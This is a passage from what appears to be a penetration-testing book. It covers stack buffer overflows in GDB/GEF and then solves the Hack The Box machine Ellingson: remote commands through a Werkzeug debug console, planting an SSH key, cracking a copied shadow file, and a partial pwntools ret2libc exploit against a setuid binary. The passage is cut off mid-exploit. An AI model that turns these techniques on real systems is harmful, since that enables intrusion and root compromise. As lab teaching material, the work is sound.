echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

The next thing you need to do is compile the C code in bofexample.c with flags that switch
off other protections:

1 gcc -g -fno-stack-protector -no-pie -o bofexample \


2 bofexample.c
hide01.ir
The -g flag makes sure that when the program is debugged it contains symbols and source
code information so that you can see the lines of code as well as the assembly. -no-pie
switches off the position independent executable which is what allows for address space
randomization. Finally, the -fno-stack-protector removes code that the assembler adds to
detect if the stack has been overwritten. We will see later on that it is possible to get around
these mitigations but for the time being, we just want to keep things simple.

We are going to use an addition to gdb called GEF (GDB Enhanced Features). To install
that, follow the instructions in the GEF manual[1].

To start, run the command:

gdb ./bofexample

We are going to stop the debugger when it starts the code in main:

1 gef➤ b main
2 Breakpoint 1 at 0x401199: file bofexample.c, line 19.
3 You can see the code at line 19 by using the list command:
4 gef➤ list main
5 13 char buffer[80];
6 14 strcpy(buffer,str);
7 15 }
8 16
9 17 void main(int argc, char *argv[])
10 18 {
11 19 function(argv[1]);
12 20 printf("XXX Try Again XXX\n");
13 21 }
14 22
15 gef➤

We will set another breakpoint (to stop the program at a certain point) at line 14 where the
string passed into the program is copied into the buffer. To do this, use the command "b
14".
hide01.ir
Now to run the program with some text by typing the command: run "hello world"

1 [ Legend: Modified register | Code | Heap | Stack | String ]


2 ─────────────────────── registers ────
3 $rax : 0x000000000040118a → <main+0> push rbp
4 $rbx : 0x0
5 $rcx : 0x00007ffff7fa3718 → 0x00007ffff7fa5b00 →
6 0x0000000000000000
7 $rdx : 0x00007fffffffe050 → 0x00007fffffffe38c →
8 "SHELL=/bin/bash"
9 $rsp : 0x00007fffffffdf30 → 0x00007fffffffe038 →
10 0x00007fffffffe359 → "/home/rin/book/bofexample"
11 $rbp : 0x00007fffffffdf40 → 0x00000000004011c0 →
12 <__libc_csu_init+0> push r15
13 $rsi : 0x00007fffffffe038 → 0x00007fffffffe359 →
14 "/home/rin/book/bofexample"
15 $rdi : 0x2
16 $rip : 0x0000000000401199 → <main+15> mov rax,
17 QWORD PTR [rbp-0x10]
18 $r8 : 0x0
19 $r9 : 0x00007ffff7fe2180 → <_dl_fini+0> push rbp
20 $r10 : 0x0
21 $r11 : 0xc2
22 $r12 : 0x0000000000401060 → <_start+0> xor ebp, ebp
23 $r13 : 0x0
24 $r14 : 0x0
25 $r15 : 0x0
26 $eflags: [zero carry PARITY adjust sign trap INTERRUPT
27 direction overflow resume virtualx86 identification]
28 $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000
29 $fs: 0x0000 $gs: 0x0000
30 ────────────────────── stack ────
31 0x00007fffffffdf30│+0x0000: 0x00007fffffffe038 → 0x00007fffffffe359 →
32 "/home/rin/book/bofexample" ← $rsp
33 0x00007fffffffdf38│+0x0008: 0x0000000200000000
34 0x00007fffffffdf40│+0x0010: 0x00000000004011c0 →
35 <__libc_csu_init+0> push r15 ← $rbp
36 0x00007fffffffdf48│+0x0018: 0x00007ffff7e0bcca →
37 <__libc_start_main+234> mov edi, eax
38 0x00007fffffffdf50│+0x0020: 0x00007fffffffe038 →
39 0x00007fffffffe359 → "/home/rin/book/bofexample"
40 0x00007fffffffdf58│+0x0028: 0x0000000200000000
41 0x00007fffffffdf60│+0x0030: 0x000000000040118a →
42 <main+0> push rbp
43 0x00007fffffffdf68│+0x0038: 0x00007ffff7e0b7d9 →
44 <init_cacheinfo+297> mov rbp, rax
45 ───────────────── code:x86:64 ────
46 0x40118e <main+4> sub rsp, 0x10
47
hide01.ir
0x401192 <main+8> mov DWORD PTR [rbp-0x4], edi
48 0x401195 <main+11> mov QWORD PTR [rbp-0x10], rsi
49 → 0x401199 <main+15> mov rax, QWORD PTR [rbp-0x10]
50 0x40119d <main+19> add rax, 0x8
51 0x4011a1 <main+23> mov rax, QWORD PTR [rax]
52 0x4011a4 <main+26> mov rdi, rax
53 0x4011a7 <main+29> call 0x401168 <function>
54 0x4011ac <main+34> lea rdi, [rip+0xe77] # 0x40202a
55 ─────────────── source:bofexample.c+19 ────
56 14 strcpy(buffer,str);
57 15 }
58 16
59 17 void main(int argc, char *argv[])
60 18 {
61 // argv=0x00007fffffffdf30 → [...] → "/home/rin/book/bofexample"
62 → 19 function(argv[1]);
63 20 printf("XXX Try again XXX\n");
64 21 }
65 22
66 ───────────────────────── threads ────
67 [#0] Id 1, Name: "bofexample", stopped 0x401199 in main (), reason: BREAKP
68 ─────────────────────────── trace ────
69 [#0] 0x401199 → main(argc=0x2, argv=0x7fffffffe038)
70 ───────────────────────────────────────────────
71 gef➤

After the code breaks at line 19, the current state of the registers and stack are displayed
along with the assembly and source code. At the top of the output , the contents of the
registers is listed. The specific register we are interested in is rsp which points to the top of
the stack and when a function returns, will point to the return address we are hoping to
overwite. The contents of the stack are shown at . The assembly is shown below that and
finally the source code.

We can step into the function with the single one single instruction command, abbreviated
to si. Repeating this, the program will enter the function and eventually get to the assembly
instruction to call the strcpy function. This function is being called with the address of the
buffer and the address of the string "hello world"

1 12 void function(char *str){


2 13 char buffer[80];
3 // str=0x00007fffffffdec8 →[...]→"hello world",
4 // buffer=0x00007fffffffded0 → 0x0000000000000000
5 → 14 strcpy(buffer,str);
6 15 }
hide01.ir
Typing the next command n, will execute the strcpy and because the program is functioning
correctly, it will return to main, print "XXX Try again XXX" and then exit.

We will now run the program again, but this time with a buffer that is larger than 80 bytes.
To do this, we can use the command "pattern create 120" which will print a sequence of
characters that is a combination of non-repeating combinations of letters. Using this, if the
program crashes, we can identify at which specific characters caused the crash and what
their offset in the input was. The first step is creating the pattern:

1 gef➤ pattern create 120


2 [+] Generating a pattern of 120 bytes
3 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaai
4 aaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaa
5 [+] Saved as '$_gef0'
6 gef➤

And then running the program with that pattern of characters as input. Stepping through
the instructions until we get to the strcpy statement and then using the next command, we
return to the assembly

1 → 0x401187 <function+31> nop


2 0x401188 <function+32> leave
3 0x401189 <function+33> ret

The first si will execute nop which is a no operation instruction, it does nothing. The leave
instruction resets the rsp to the base pointer in rbp and then pops rbp. After the leave
instruction, rsp contains the return address the program will try and jump to on executing
the ret.

However, the rsp now contains an address that points to the string
"laaaaaaamaaaaaaanaaaaaaaoaaaaaaa". If we search for the offset of this string, we find
out that it is located at byte 88.
hide01.ir
1 gef➤ pattern offset laaaaaaamaaaaaaanaaaaaaaoaaaaaaa
2 [+] Searching 'laaaaaaamaaaaaaanaaaaaaaoaaaaaaa'
3 [+] Found at offset 88 (big-endian search)
4 gef➤

Doing another si will cause the program to crash with a SIGSEGV, a segmentation fault.

The good news is that we are able to control the return address simply by adding the
address we want the program to jump to by adding that address at offset 88 in the input.
What we want to do is to jump to the address of the function overflowed. If we type
disassemble overflowed, this will show the assembly for the function with the addresses of
each instruction.

1 gef➤ disassemble overflowed


2 Dump of assembler code for function overflowed:
3 0x0000000000401142 <+0>: push rbp
4 0x0000000000401143 <+1>: mov rbp,rsp
5 0x0000000000401146 <+4>: lea rdi,[rip+0xeb7] # 0x402004
6 0x000000000040114d <+11>: call 0x401040 <puts@plt>
7 0x0000000000401152 <+16>: mov edi,0x0
8 0x0000000000401157 <+21>: call 0x401050 <exit@plt>
9 End of assembler dump.
10 gef➤

The first instruction is at the address 0x401142 (ignoring the leading zeros). So we can
construct an input string of 88 'A's and then the address \x42\x11\x40. The address is in
reverse order because the machine is "little endian" which means that addresses are listed
with their least significant bytes first. The input can be generated using the command:

r $(python -c "print(('A'*88) + '\x42\x11\x40')")

We can now repeat the process of stepping through the instructions until the strcpy. This
time, after single stepping over the leave instruction, rsp is pointing to the function
overflowed
hide01.ir
0x00007fffffffded8│+0x0000: 0x0000000000401142 → <overflowed+0> push rbp ← $

Doing another si will start the execution of overflowed.

The program can also be run from the command line with:

1 ┌─[rin@parrot]─[~/book]
2 └──╼ $./bofexample $(python -c "print(('A'*88) + '\x42\x11\x40')")
3 *** Success! ***
4 ┌─[rin@parrot]─[~/book]
5 └──╼ $

Obviously, this is a contrived example and things are not quite so simple when gaining
control of a real application. For a start, the objective is to run code that gives us a shell or
executes other commands the attacker supplies like launching a specific program or run a
malware implant. In order to see how this is done, we can look at a Hack The Box machine
Ellingson to show how to do what is called Return Oriented Programming (ROP) as a
means of getting a buffer overflow to execute code that the attacker controls.
hide01.ir
Exercise: Exploiting a Buffer Overflow on
Ellingson
In the Hack The Box machine Ellingson, the website has left a debugging console enabled
that can be used to execute remote commands. This allows us to write an SSH key for the
user hal and SSH onto the box as that user. Once on the box, we discover a backup of the
shadow file that hal has access to that contains passwords that can be cracked using John
The Ripper. This gives us a password for the user margo. As margo, we find a program
called garbage that is owned by root and has the setuid bit set. garbage is vulnerable to a
buffer overflow and using the Pwntools framework, we can write an exploit to do a buffer
overflow attack and get a shell as root.

An nmap scan shows that SSH (port 22) and HTTP (port 80) are running. The website is for
a company Ellingson Mineral Corp and the team information reveals a list of possible
users.

Contact information on Ellingson

Clicking on one of the buttons to Details, we get a page that has the url
http://ellingson.htb/articles/1 . Changing the number to a high value causes an error that
causes a development page showing details of the error and a Traceback which is the list
of functions called that lead to the error (Figure 3-10). If you remember the list of the
OWASP top 10 vulnerabilities, one category was Security Misconfiguration and specifically:
hide01.ir
"Leaving debugging or development options switched on in the application". What makes
this worse is that the Werkzeug traceback interpreter allows access to a python console

Debug information after exception is thrown by application

Before moving onto the console, we can see from the traceback that the application is a
Flask application which is a framework for building web applications in Python. Going into
the console, we can execute bash commands using the code:

1 [console ready]
2 >>> import subprocess
3 >>> proc = subprocess.check_output('whoami',shell=True)
4 >>> print(proc.decode('iso-8859-1'))
5 hal
6 >>>
7 Doing an ls on the home directory of hal reveals an .ssh folder
8 >>> proc = subprocess.check_output('ls -al /home/hal',shell=True)
9 >>> print(proc.decode('iso-8859-1'))
10 total 36
11 drwxrwx--- 5 hal hal 4096 May 7 2019 .
12 drwxr-xr-x 6 root root 4096 Mar 9 2019 ..
13 -rw-r--r-- 1 hal hal 220 Mar 9 2019 .bash_logout
14 -rw-r--r-- 1 hal hal 3771 Mar 9 2019 .bashrc
15 drwx------ 2 hal hal 4096 Mar 10 2019 .cache
16 drwx------ 3 hal hal 4096 Mar 10 2019 .gnupg
17 -rw-r--r-- 1 hal hal 807 Mar 9 2019 .profile
18 drwx------ 2 hal hal 4096 Mar 9 2019 .ssh
19 -rw------- 1 hal hal 865 Mar 9 2019 .viminfo
20 >>>

Looking at the contents of the .ssh folder, the authorized_keys file contains public keys that
do not match the public key in the file id_rsa.pub. In any event, the id_rsa key which
hide01.ir
contains the private key you would need to use to ssh onto the machine is encrypted. The
easiest path is to produce a key yourself using ssh-keygen and add the public key in the
authorized_keys file:

1 >>> proc = subprocess.check_output('echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQA\


2 BAAABgQCqqO+JGJahJ1k1/WRLCJiWJAZ3DTRByeHeCXAfa7PyJpC7ryi0rD3OxZmQW3EiCP+ut
3 jkTCmkLHwHNnh/66hHynwdZBlAGMb0aQ/sCHIx7MxFHPcugJJHh2Se7n4CDPVNNT12JX1isco4
4 H4ss/pRfgk2vfnqSk3WUVj/bJu52Cs9rOlvZTVBmNpo85ttg57uThAMOSwpz2e7AaGUVVLV6qJ
5 bajfJ4V4gpVWC9hztQB+1u03COqy2bmUlWvvKRhzDR6o9ZeDbhH+pKGUb42a0wnxoWXeUhxWca
6 J1N/R1zsKUvn+MH1HemT4eEDWfJ3uiL4tASRneNooSE6ycw4SkEGZyVVadirFHsv8QgXp7ygtg
7 y7mMT6f2NbjyLz4/D+iCcVpBWc+tL6722OhsOAE1E9PpTZsW6VqpqrbIqJ+b6PH9XuBcqcVEkZ
8 cj7mN5r+/iErWydvsKOLCGeSjC60B5J6hhn9LE3ZK0kI2jdCx+tZzfVrkAmyeznKQb5x/ZfqZy
9 Ak=" >> /home/hal/.ssh/authorized_keys',shell=True)
10 >>>

On the ParrotSec machine, you can then use the private key to ssh onto the box as hal.

1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $ssh -i hal.key [email protected]
3 <SNIP>
4 Last login: Sun Mar 10 21:36:56 2019 from 192.168.1.211
5 hal@ellingson:~$
6 The user hal belongs to the groups hal and adm
7 hal@ellingson:~$ groups
8 hal adm
9 hal@ellingson:~$

Looking at files that the adm has access to, one stands out and that is a backup of the
shadow file which is where Linux keeps the hashed password information for users.

1 hal@ellingson:~$ find / -group adm 2>/dev/null


2 /var/backups/shadow.bak
3 /var/spool/rsyslog
4 /var/log/auth.log
5 <SNIP>
6 hal@ellingson:~$
hide01.ir
Copy the shadow.bak to your local directory with scp:

1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $scp -i hal.key [email protected]:/var/backups/shadow.bak .

In the shadow file there are entries for the users theplague, hal, margo and duke. The
hashes can be copied into a separate file for cracking with John The Ripper. Before you do
that however, you can create a custom wordlist. On the website, a note from ThePlague
suggests that the most common passwords are Love, Secret, Sex and God. So you can try
to crack the passwords just using words from rockyou.txt that have these four words as
part of them:

1 grep -E 'love|sex|secret|god' /usr/share/wordlists/rockyou.txt > wordlist


2 Then using that word list with john:
3 ┌─[rin@parrot]─[~/boxes/Ellingson]
4 └──╼ $john --wordlist=./wordlist hash.txt
5 Using default input encoding: UTF-8
6 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]
7 Cost 1 (iteration count) is 5000 for all loaded hashes
8 Will run 2 OpenMP threads
9 Press 'q' or Ctrl-C to abort, almost any other key for status
10 iamgod$08 (?)

This returns a password iamgod$08 which can be tested for the 4 users with SSH to find
out that it works with the user margo.

As the user margo, we can start our enumeration on the box looking for paths to privilege
escalation. We cover this process in Chapter 8, but for the time being, if we run the find
command, we can look for binaries that have the SUID bit set:

find / -perm -u=s -type f 2>/dev/null


hide01.ir
This will highlight a number of files but one that is not normally found on Linux boxes is
the program /usr/bin/garbage that has the suid bit set binary. When you examine the
permissions of a file, the x which stands for execute permission is replaced with s. This
means that when the binary is run, it will run as the owner of the file, which in this case is
root.

1 margo@ellingson:~$ ls -al /usr/bin/garbage


2 -rwsr-xr-x 1 root root 18056 Mar 9 2019 /usr/bin/garbage
3 margo@ellingson:~$

Running the application prompts for a password:

margo@ellingson:~$ /usr/bin/garbage

Enter access password:

If we run the command strings on the file to list all of the hard coded strings, part of the
output is interesting because one of the strings looks like a password:

1 /var/secret/accessfile.txt
2 user: %lu cleared to access this application
3 user: %lu not authorized to access this application
4 User is not authorized to access this application. This attempt has been l
5 error
6 Enter access password:
7 N3veRF3@r1iSh3r3!
8 access granted.
9 access denied.

It looks like the password might be N3veRF3@r1iSh3r3! And this is confirmed running the
program again and putting in the password:

1 margo@ellingson:~$ /usr/bin/garbage
2
hide01.ir
Enter access password: N3veRF3@r1iSh3r3!
3 access granted.
4 [+] W0rM || Control Application
5 [+] ---------------------------
6 Select Option
7 1: Check Balance
8 2: Launch
9 3: Cancel
10 4: Exit
11 >

It is time to copy the file back to the local box to look at it more closely. We can use scp
again to copy the file back to our box:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $scp [email protected]:/usr/bin/garbage .
3 [email protected]'s password:
4 garbage 100% 18KB 23.3KB/s 00:00
5 ┌─[rin@parrot]─[~/boxes/Ellingson]
6 └──╼ $

We are now going to do a bit of reverse engineering using a tool called Ghidra which can be
downloaded and installed from https://ghidra-sre.org. Run Ghidra and select Import File…
from the File menu and choose the binary garbage. You will be promoted to confirm this
and the dialog will report that the garbage file is an ELF Linux binary.
hide01.ir

Import application garbage into Ghidra

Go ahead and confirm until the original file dialog is shown and then double click on the
garbage file to open it for analysis. You will be asked if you want to analyze the file and so
select all options and say yes.
hide01.ir

Ghidra windows after analysis of garbage

The layout of Ghidra is a set of windows that display information about the program.
Referring to Figure 3-12, the Symbol Tree lists the functions in the program and their locally
declared variables. The assembly of the entire program is displayed in the Listing window .
Source code that is reverse engineered by Ghidra is displayed in the Decompile window .
The overall structure of the program with the different sections is shown in the Program
Trees window . Finally, the Data Types are shown in the Data Type Manager window . To
bring up the decompilation of a function, double click the function in the Symbol Tree. Note
that the assembly listing will change to the selected function.

Let us run through the first part of the code:

1 void main(void)
2 {
3 ulong uVar1;
4 int local_10;
5 __uid_t local_c;
6 uVar1 = check_user();
7 local_c = (__uid_t)uVar1;
8
hide01.ir
set_username(local_c);
9 uVar1 = auth(local_c);
10 if ((int)uVar1 == 0) {
11 /* WARNING: Subroutine does not return */
12 exit(-1);
13 }
14 }

To explore this code, you can double click on the function names to display the decompiled
code of that function. The function check_user() does a getuid() to get the current user's
uid. It checks to see if that is either 0 which is root, 1000 which is theplague or 1002 which
is margo. If not, then it prints the message "User is not authorized to access this
application. This attempt has been logged." and exits. Note that it does not log the attempt.
Otherwise the function returns the user id and the function sets_username() sets the global
variable username from the user id. The next function called is auth() .

1 ulong auth(undefined4 uid)


2 {
3 int result;
4 undefined8 local_f8;
5 undefined8 local_f0;
6 undefined8 local_e8;
7 undefined2 local_e0;
8 char input_buffer [100];
9 char local_username [12];
10 undefined4 local_uid;
11 local_uid = uid;
12 strcpy(local_username,username);
13 printf("Enter access password: ");
14 gets(input_buffer);
15 putchar(10);
16 result = strcmp(input_buffer,"N3veRF3@r1iSh3r3!");
17 if (result != 0) {
18 puts("access denied.");
19 }
20 else {
21 local_f8 = 0x6720737365636361;
22 local_f0 = 0x66206465746e6172;
23 local_e8 = 0x3a7265737520726f;
24 local_e0 = 0x20;
25 strcat((char *)&local_f8,local_username);
26 syslog(6,(char *)&local_f8);
27 puts("access granted.");
28 }
29
hide01.ir
return (ulong)(result == 0);
30 }

In this function, the main things to note is the gets(input_buffer) which gets the password
entered by the user and puts it in a buffer that is 100 bytes char long. This is a vulnerability
because the buffer can be overflowed by inputting a longer than 100 character string for the
password. You can confirm this yourself:

1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $./garbage
3 Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
4 access denied.
5 Segmentation fault

In order to get a better understanding of what is going on, we can run the program garbage
in a debugger, gdb. GDB allows us to step through code in a program and set and inspect
variables as it runs. There is a set of additional commands to GDB that can be installed
called GEF.

Documentation and installation instructions can be found here


https://gef.readthedocs.io/en/master/.

GEF provides some commands that are specifically designed to help with exploit
development.

We can run garbage in gdb using the command:

1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $gdb garbage
hide01.ir
Once it starts, we can use the GEF command pattern create 200 to create a non-repeating
pattern of characters that we can use as input for the password. If we run the program with
the run (or just r) command in GDB, the program will prompt for a password. We can then
paste the text pattern we got from the pattern create and you should get an error of the type
segmentation fault (SIGSEGV). This fault occurs when the program can't continue to run
because it is trying to access memory or an instruction that is invalid. The error occurs in
the function auth():

1 [ Legend: Modified register | Code | Heap | Stack | String ]


2 ── registers ────
3 …
4 $rsp : 0x00007fffffffdf38 → "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaa
5 awaaaaaaaxa[...]"
6 …
7 ── stack ────
8 0x00007fffffffdf38│+0x0000: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaa
9 aaawaaaaaaaxa[...]" ← $rsp
10 0x00007fffffffdf40│+0x0008: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaa
11 aaaxaaaaaaaya[...]"
12 0x00007fffffffdf48│+0x0010: "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaa
13 0x00007fffffffdf50│+0x0018: "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
14 0x00007fffffffdf58│+0x0020: "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
15 0x00007fffffffdf60│+0x0028: "waaaaaaaxaaaaaaayaaaaaaa"
16 0x00007fffffffdf68│+0x0030: "xaaaaaaayaaaaaaa"
17 0x00007fffffffdf70│+0x0038: "yaaaaaaa"
18 ─── code:x86:64 ────
19 0x40160d <auth+250> call 0x401050 <puts@plt>
20 0x401612 <auth+255> mov eax, 0x0
21 0x401617 <auth+260> leave
22 → 0x401618 <auth+261> ret
23 [!] Cannot disassemble from $PC
24 ─ threads ────
25 [#0] Id 1, Name: "garbage", stopped 0x401618 in auth (), reason: SIGSEGV
26 ── trace ────
27 [#0] 0x401618 → auth()
28 gef➤

The output is a little daunting but in the stack section, the first line is what has been put into
the register rsp ($rsp in GDB). rsp is the register that will hold the address that a function
will return to after it completes. This means that our input has overflowed the buffer
allocated to it and this particular pattern of text starting "raaaaaa…" has been loaded into
the rsp register and the program thinks that this is the location of a valid instruction
hide01.ir
address. When the program tries to execute this instruction, it will cause a segmentation
fault error as mentioned before. However, since we control what value gets placed in the rsp
register, we can put the address of code that we control. First, we need to know the exact
offset of the pattern that gets placed in the rsp register.

To find the offset within the pattern we created, we can use another GEF command pattern
offset, passing it the section of the pattern in rsp. This will return the offset and you will
find out that it is at position 136

1 gef➤ pattern offset raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa


2 [+] Searching 'raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa'
3 [+] Found at offset 136 (big-endian search)
4 gef➤

We now have the essentials for a buffer overflow and can control the execution, but the
question is; what can we run? This is where Return Oriented Programming (ROP) comes in.
In ROP, we are looking for a sequence of assembly operations that will perform some
specific action ant return to the next instruction in our sequence using a ret (return)
instruction. The sequence of useful instructions, ending with a ret, is called a gadget. What
ideally we are trying to do is to call useful functions like system or execve which are C
functions that allow other commands to be run. System and execve are located in the
library libc that is almost always used by C programs. Because we are constructing a
sequence, or chain (called a ROP chain), of gadgets to run a function in libc, the attack is
also referred to as return-to-libc or ret2libc.

Before we start however, we need to check what mitigations the program is using against
buffer overflows using the checksec function in GEF

1 gef➤ checksec
2 [+] checksec for '/home/oztechmuse/boxes/Ellingson/garbage'
3 Canary : ✘
4 NX : ✓
5 PIE : ✘
6 Fortify : ✘
7 RelRO : Partial
hide01.ir
NX is enabled which means that we can't put executable code on the stack. That is ok
because we are avoiding doing that by using ROP chains instead. The Partial Relocation
Read-Only is also not an issue since this mitigates a technique that are not going to use but
I will come back to later.

The more important issue is the value for ASLR (Address Space Layout Randomization) on
the system which is a technique that attempts to make it more difficult to carry out buffer
overflows by randomizing the position in memory space of the base address of the
program, its libraries, stack and heap.

1 margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space


2 2

As ASLR is enabled (2) and so this means that we can't simply find the address of
assembly instructions as they are moved around in memory when the application is run.
However, in a running program, the randomization is fixed and functions are addressed as
an offset to a base address. If we are interested in functions from libc, we can find out the
offset of a known function and then calculate the relative offsets for other functions.

On your local machine, make sure that ASLR is enabled by editing the
/proc/sys/kernel/randomize_va_space as root and setting it to 2

To illustrate what this does, we will create a one line application that simply prints the
address of the puts function:

1 #include <stdio.h>
2 void main() {
3 printf("%p\n", &puts);
4 }

Here the printf statement uses the %p format character to print an address and the the
address is of the function puts (&puts).

Compile and run the program a few times:


hide01.ir
1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $gcc -o poc poc.c u
3 ┌─[rin@parrot]─[~/boxes/Ellingson]
4 └──╼ $./poc v
5 0x7f193b460550
6 ┌─[✗]─[rin@parrot]─[~/boxes/Ellingson]
7 └──╼ $./poc
8 0x7f334deef550
9 ┌─[✗]─[rin@parrot]─[~/boxes/Ellingson]
10 └──╼ $./poc
11 0x7fbce62b6550
12 ┌─[✗]─[rin@parrot]─[~/boxes/Ellingson]
13 └──╼ $./poc
14 0x7fc10b009550

We use the GNU C compiler, gcc to compile the source code poc.c and create a 64 bit
executable object poc u. You can see that the address changes every time it runs. Let us
change the program to show how we are going to get a base address for libc and use that
to calculate the address of other functions like system.

1 #include <stdio.h>
2 #include <stdlib.h>
3 void main() {
4 printf("puts: %p\n", &puts);
5 printf("system: %p\n", &system);
6 printf("Difference: 0x%x\n", &puts - &system);
7 }

The program does 3 printf statements to print the addresses of two libc functions, puts (4)
(which writes a string to stdout) and system (5). The third printf takes the difference
between the addresses and prints that out using the formatting character %x (6). When you
run the program poc, you will get the output:

1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $./poc
3 puts: 0x7fea45ef0550
4 system: 0x7fea45ec2db0
5 Difference: 0x2d7a0
hide01.ir
Remember that even though the addresses of puts and system will change every time the
program is run, the difference in the addresses will always be the same because they are
always loaded from libc at the same relative position. What we need now is the actual
offset of puts and system within libc and we can get that by using the command line
program readelf. Readelf provides information about Linux programs which are in the ELF
format. We run it with the argument -s which will get readelf to print the symbols of the
particular version of libc our program is using (2). The output from this is then passed to
the grep command to filter just the strings that contain the words system@@ and puts@@.

1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep -E 'system@@|puts@
3 195: 0000000000076550 472 FUNC GLOBAL DEFAULT 14 _IO_puts@@GLIBC_2.2.5
4 430: 0000000000076550 472 FUNC WEAK DEFAULT 14 puts@@GLIBC_2.2.5
5 1160: 0000000000074e80 380 FUNC WEAK DEFAULT 14 fputs@@GLIBC_2.2.5
6 1430: 0000000000048db0 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5

The difference between the offsets 76550 and 48DB0 is 2D7A0, the same number we got
as the difference between the addresses when the program ran. Using the offset of puts in
libc allows us to calculate the base address of libc. Getting the program to print the actual
address of a function is called "leaking the address". Using the leaked address of puts can
then be used to find the base address by simply subtracting the offset from that leaked
address.

To write the exploit code, we are going to use a Python framework called pwntools (which
can be installed from https://github.com/Gallopsled/pwntools\). The first stage is to leak
the address of puts. Unfortunately, we don't have a convenient printf statement that can do
this for us so we need to construct ROP gadgets that will do two things; the first is to load
the address of puts into the register RDI, the second is to then call the function puts. Since
the application garbage is a 64 bit program, parameters are passed to a function using a
calling convention that uses the registers RDI, RSI, RDX, RCX, R8 and R9. In this case, we are
passing the value of the address of the function puts to the function puts itself and so we
only need to use the register RDI to do that.

Another problem we have to solve is to get the address of the function puts to call. When
code is relocatable, you can't just call a function directly because the real address of this
hide01.ir
function is changed each time the application is run. Instead, to call a function, the address
of an entry in a table called the Procedure Linkage Table (PLT) is used. This then has a
pointer to an entry in the Global Offset Table (GOT) that has the real address.

In our ROP chain, if we want the real address of puts, we need the address of the puts entry
in the GOT. To actually call puts to print that leaked address, we use the address of puts in
the PLT.

To summarize, stage 1 involves leaking the address of puts by calling puts and passing the
address of puts itself in the register RDI. To load RDI with the address of puts, we can
search for assembly instructions that will do that for us followed by a ret instruction. To
load a register, we can use the assembly instruction pop rdi. A pop instruction takes the
address at the top of the stack and puts it into the specified register.

We can use the tool ropper, a program that will disassemble a program and print out
gadgets useful for buffer overflow exploits, and search for a gadget that will suit our
purposes:

1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $ropper -f garbage --search "pop rdi"
3 [INFO] Load gadgets from cache
4 [LOAD] loading... 100%
5 [LOAD] removing double gadgets... 100%
6 [INFO] Searching for gadgets: pop rdi
7 [INFO] File: garbage
8 0x000000000040179b: pop rdi; ret;

We can start putting together the exploit code.

1 from pwn import *


2 # p = gdb.debug('./garbage', 'b main') # can use this for debugging
3 p = process("./garbage")
4 junk = ("A" * 136).encode()
5 pop_rdi = p64(0x40179b)
6 got_puts = p64(0x404028)
7 plt_puts = p64(0x401050)
8 plt_main = p64(0x401619)
9 payload = junk + pop_rdi + got_puts + plt_puts + plt_main
10 p.sendline(payload)
11
hide01.ir
p.recvuntil("access denied.")
12 received = p.recvall()
13 leaked_put = received[:8].strip().ljust(8, b"\x00")
14 log.info(f"Leaked address: 0x{leaked_put.hex()}")

The address for got_puts and plt_puts is obtained by using the program objdump to
disassemble the program garbage (using the -D flag) and passing the output to grep to filter
for the word puts.

1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $objdump -D garbage | grep puts
3 0000000000401050 <puts@plt>:
4 401050: ff 25 d2 2f 00 00 jmpq *0x2fd2(%rip) # 404028 <puts@GLIBC_2.2.5>

Pwntools handles handling input and output to the application using a range of calls to
send and receive text. The leaked address of puts is formatted by stripping the newline
character at the end and padding the address obtained, if necessary, with zeros.

Once the leaked address is obtained, we need to stay in the program and do a second
buffer overflow, but this time invoking the system function to run a shell. The next
instruction needs to be the return address which should be that of main (the main entry
point of the program) that we can again get from objdump (note this was included in the
code above at ).

1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $objdump -D garbage | grep main
3 # 403ff0 <__libc_start_main@GLIBC_2.2.5>
4 401194: ff 15 56 2e 00 00 callq *0x2e56(%rip)
5 0000000000401619 <main>:
6 401644: 0f 84 e6 00 00 00 je 401730 <main+0x117>

We can add the address of main to the payload. In stage 2 of the exploit, we are going to
overflow the buffer and use the leaked address to calculate the full address of the system
function and the location of the string "/bin/sh" which is in libc. We also need another
hide01.ir
function, setuid to make sure that when the shell is run by system, it is run as root's user id
which is 0. Using readelf to get the offsets of the functions in libc:

1 ┌─[oztechmuse@parrot]─[~/boxes/Ellingson]
2 └──╼ $readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep -E 'system|setuid|
3 25: 00000000000cc0c0 144 FUNC WEAK DEFAULT 14 setuid@@GLIBC_2.2.5
4 430: 0000000000076550 472 FUNC WEAK DEFAULT 14 puts@@GLIBC_2.2.5
5 1430: 0000000000048db0 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5

We can now calculate the base address of libc

1 libc_puts = p64(0x76550)
2 libc_system = p64(0x48db0)
